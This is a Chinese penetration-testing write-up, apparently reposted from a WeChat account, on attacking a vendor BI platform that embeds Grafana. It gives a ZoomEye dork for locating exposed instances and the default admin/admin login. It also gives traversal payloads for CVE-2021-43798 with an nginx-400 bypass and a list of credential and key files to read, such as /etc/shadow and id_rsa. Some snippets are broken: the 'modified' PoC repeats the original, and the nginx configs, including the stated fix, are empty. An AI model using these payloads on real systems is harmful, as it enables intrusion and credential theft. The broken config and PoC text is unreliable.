原文链接:某易BI平台渗透之旅
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 0x01 前言 这篇文章由"潇湘信安技术交流群"@天明师傅投稿,记录的是他在公司某个安服项目中碰到了这个BI平台,机缘巧合之下发现了这个通用漏洞,特意投稿分享下经验。 0x02 渗透之旅 刚开始采用awvs、afrog和nuclei进行全量的漏洞扫描时未有任何发现,后面尝试目录探测时有了新的发现。 峰回路转之dirsearch的救赎 [09:42:33] 200 - 32KB - /monitoring/ [09:42:33] 200 - 32KB - /monitor/ [09:42:33] 200 - 32KB - /monitoring [09:42:34] 200 - 32KB - /monitor [09:41:39] 200 - 751B - /callback /monitoring/、/monitor/这俩路径绝对会触发302跳转,callback则是随机,可能触发跳转。 这个就是今天的主角。 正常请求BI平台: zoomeye dork iconhash:"dfbaaf8af7911cfb7eb068d8b19f6799" 影响范围:仅在V 7.20版本测试成功。 版本号可以根据页面当中的用户手册来判断。 思路1-默认口令 默认口令:admin admin,不知道其他目标如何,至少我碰上的目标未修改。不过即使修改了也无伤大雅,有一个文件读取漏洞等着你,可以搞到grafana的账号密码。 思路2-Grafana文件读取 CVE-2021-43798这个漏洞信息的部分可自行百度了解,此处单刀直入,直接说利用细节。 最初的验证POC为: /monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd 此处利用应修改为: /monitor/public/plugins/grafana-clock-panel/../../../../../../../../etc/passwd 注:一般情况下就成了,如果对方使用了nginx/apache反代,中间件的URI_normalization机制导致URL被标准化。此时原有payload就会失效,服务端会爆400错误。如下图所示: # proxy_grafana.conf server { listen 8081; server_name 127.0.0.1; charset utf-8; location / { } } 此时可采用bypass 400的payload进行绕过,payload为: /monitor/public/plugins/text/#/../../../../../../../../../../etc/passwd 深入利用 /etc/grafana/grafana.ini #grafana控制台的管理员明文密码 /var/lib/grafana/grafana.db #控制台其他账户 /etc/grafana/grafana.ini 图片 linux文件遍历,此处只举出比较重要的,更全面的可以参考Web-Fuzzing-Box的Linux_File.txt /conf/defaults.ini /etc/grafana/grafana.ini /etc/passwd /etc/shadow /home/grafana/.bash_history /home/grafana/.ssh/id_rsa /root/.bash_history /root/.ssh/id_rsa /usr/local/etc/grafana/grafana.ini /var/lib/grafana/grafana.db /proc/net/fib_trie /proc/net/tcp /proc/self/cmdline 关于nginx proxy error 400相关文章可参考,这里我用的是第二篇文章里的一个payload。 https://articles.zsxq.com/id_baeb9hmiroq5.html https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/#_Nginx_400 关于CVE-2021-43798的修复 升级到安全版本,即版本号>8.3.0。 临时防御:修改proxy_grafana的配置如下所示: Tips:重点是proxy_pass的端口号后一定要加上/ # proxy_grafana.conf server { listen 8081; server_name 127.0.0.1; charset utf-8; location / { } } 0x03 参考文章 https://github.com/jas502n/Grafana-CVE-2021-43798 https://blog.riskivy.com/grafana-任意文件读取漏洞分析与汇总cve-2021-43798/
|